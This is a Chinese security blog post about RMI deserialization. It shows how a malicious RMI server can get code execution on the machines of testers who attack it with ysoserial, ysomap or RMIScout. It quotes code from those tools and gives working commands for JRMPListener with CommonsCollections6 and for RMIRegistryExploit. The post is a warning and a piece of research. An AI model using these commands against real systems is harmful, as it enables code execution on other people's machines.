前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >反序列化小子捕获器-反制ysoserial

反序列化小子捕获器-反制ysoserial

作者头像
用户7151998
发布2023-07-24 19:31:41
4290
发布2023-07-24 19:31:41
举报
文章被收录于专栏:赛博回忆录赛博回忆录

前言

这个反制的场景非常容易想到,因为很多反序列化的漏洞也都有利用到这个流程,只不过现在将其用到了反制上而已。当然这个估计也有很多师傅写过,也不算是个秘密,不过既然白白白师傅最近在星球提到了这个,那就发出来给JB小子们提个醒避避雷吧。

毕竟,都快改名叫反制回忆录了(大雾

正文

之前分析RMI的时候,发现RMI的调用过程里在客户端和服务端都会触发反序列化,当然具体很复杂,简略了下大概是这么个流程:

随着JDK版本更新,服务端的反序列化点基本都被修复了,但客户端的反序列化点并没有修复。也就是说如果调用了JDK原生的RMI客户端相关调用,连接恶意服务端时就会在客户端触发反序列化,此时如果客户端存在有漏洞的依赖库就会导致代码执行。

这个场景好像很难实现,因为现在RMI很少见。但对安全人员来说,在做渗透测试时,如果发现目标开放了对应的端口,一般还是会打一下试试。流程变成这样:

如果一个安全工具存在上面的问题,在攻击一个假冒的RMI服务时就会导致自身被反打。这个过程简单来说就是这样:

  1. 搭建一个恶意rmi服务器,监听1099端口,很容易就被扫除rmi反序列化漏洞
  2. jb小子见状立刻敲起命令使用ysoserial打rmi的反序列化payload
  3. 恶意rmi服务器对其注入客户端反序列化代码
  4. jb小子反变肉鸡上线了

那么看下常见的攻击RMI的安全工具有没有这种问题。

ysoserial

上来先看看Java安全神器ysoserial里和RMI有关的exp。yso里面大部分都是本地生成payload,但也有一些打远程服务的,比如RMIRegistryExploit

代码语言:javascript
复制
 public static void main(final String[] args) throws Exception {
  final String host = args[0];
  final int port = Integer.parseInt(args[1]);
  final String command = args[3];
  Registry registry = LocateRegistry.getRegistry(host, port);
  final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
  final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

  // test RMI registry connection and upgrade to SSL connection on fail
  try {
   registry.list();
  } catch(ConnectIOException ex) {
   registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
  }

  // ensure payload doesn't detonate during construction or deserialization
  exploit(registry, payloadClass, command);
 }

 public static void exploit(final Registry registry,
   final Class<? extends ObjectPayload> payloadClass,
   final String command) throws Exception {
  new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
   ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
   String name = "pwned" + System.nanoTime();
   Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
   try {
    registry.bind(name, remote);
   } catch (Throwable e) {
    e.printStackTrace();
   }
   Utils.releasePayload(payloadObj, payload);
   return null;
  }});
 }

看到了registry.list和registry.bind,这两处就是调用的原生的RegistryImpl_Stub,会触发UnicastRef#invoke->StreamRemoteCall#executeCall导致反序列化,这里就有反序列化点了。 调用链自然也没啥问题,毕竟ysoserial算是天底下反序列化链最多的地方了。感觉就像个弹药库把自己给炸了。 所以攻击很简单,就用JRMPListener在1099端口(RMI注册中心默认端口)起一个恶意服务端,原汤化原食了属于是:

代码语言:javascript
复制
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe

然后客户端扮演jb小子,nmap扫完看见1099开了直接打:

代码语言:javascript
复制
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit ip 1099 CommonsCollections6 whoami

喜提计算器。 很奇怪的是在另一个攻击rmi的脚本ysoserial/exploit/JRMPClient.java里

代码语言:javascript
复制
/**
 * Generic JRMP client
 * 
 * Pretty much the same thing as {@link RMIRegistryExploit} but 
 * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
 * - not deserializing anything (so you don't get yourself exploited ;))
 * 
 * @author mbechler
 *
 */

注释里特意写了not deserializing anything,说明开发者是想到过反打的问题的,但不知道为什么没有注意到另一处。

顺带一提,恶意服务器如果在实现时触发了反序列化一样是会被攻击的,只不过这种场景少了点。

ysomap

ysomap是wh1t3p1g大师傅开发的Java反序列化辅助工具,和ysoserial相比可以更细化的修改payload,但是用着比较麻烦,研究了半天也没咋用明白。 同样这个工具也提供了攻击RMI registry的功能,看一下这部分实现,在ysomap/exploits/rmi/component/Naming.java

代码语言:javascript
复制
public static Remote lookup(Registry registry, Object obj)
            throws Exception {
        RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
        long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
        java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                //反射修改enableReplace
                ReflectionHelper.setFieldValue(out, "enableReplace", false);
                out.writeObject(obj); // arm obj
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {

重写了lookup,调用了JDK原生的ref.invoke,那么一样是有反打的问题的。 没太用明白,大概是这么用吧:

代码语言:javascript
复制
use exploit RMIRegistryExploit
use payload RMIConnectWrappedWithProxy
use bullet RMIConnectBullet
set target ip:1099
set rhost ip2
run

服务端一样是JRMPListener,一样打cc就行。计算器x2。

RMIScout

RMIScout也是一个攻击RMI的工具,看了下这个工具重点支持攻击服务端的方式,也就是通过爆破远程方法签名攻击服务端,portswigger也宣传过这个工具https://portswigger.net/daily-swig/rmiscout-new-hacking-tool-brute-forces-java-rmi-servers-for-vulnerabilities 在rmiscout/RMIConnector.java一样是看到了原生的registry.list

代码语言:javascript
复制
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
        try {
            this.host = host;
            this.allowUnsafe = allowUnsafe;
            this.signatures = signatures;
            this.isActivationServer = isActivationServer;
            String[] regNames = null;
            isSSL = false;

            try {
                // Attempt a standard cleartext connection
                this.registry = LocateRegistry.getRegistry(host, port);
                regNames = registry.list();

这个工具的攻击实际是依赖ysoserial实现的,那么一样会被反打

代码语言:javascript
复制
java -jar rmiscout-1.4-SNAPSHOT-all.jar list ip 1099

计算器x3

其他工具

常见的攻击RMI的还有个经典工具BaRMIe,实际上它的攻击流程也会触发反序列化,但是这个工具并不是用加载依赖的方式来生成payload的,而是直接写死的。那么没有依赖库,反序列化也很难打本地的链了。 另外metasploit也有对应的exp,完全基于ruby实现的,自然不会有Java反序列化的问题,还是msf懂安全。

参考链接

https://github.com/frohoff/ysoserial

https://github.com/wh1t3p1g/ysomap

https://github.com/BishopFox/rmiscout

https://github.com/NickstaDB/BaRMIe

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-11-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 赛博回忆录 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ysoserial
  • ysomap
  • RMIScout
  • 其他工具
  • 参考链接
相关产品与服务
微服务引擎 TSE
微服务引擎(Tencent Cloud Service Engine)提供开箱即用的云上全场景微服务解决方案。支持开源增强的云原生注册配置中心(Zookeeper、Nacos 和 Apollo),北极星网格(腾讯自研并开源的 PolarisMesh)、云原生 API 网关(Kong)以及微服务应用托管的弹性微服务平台。微服务引擎完全兼容开源版本的使用方式,在功能、可用性和可运维性等多个方面进行增强。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档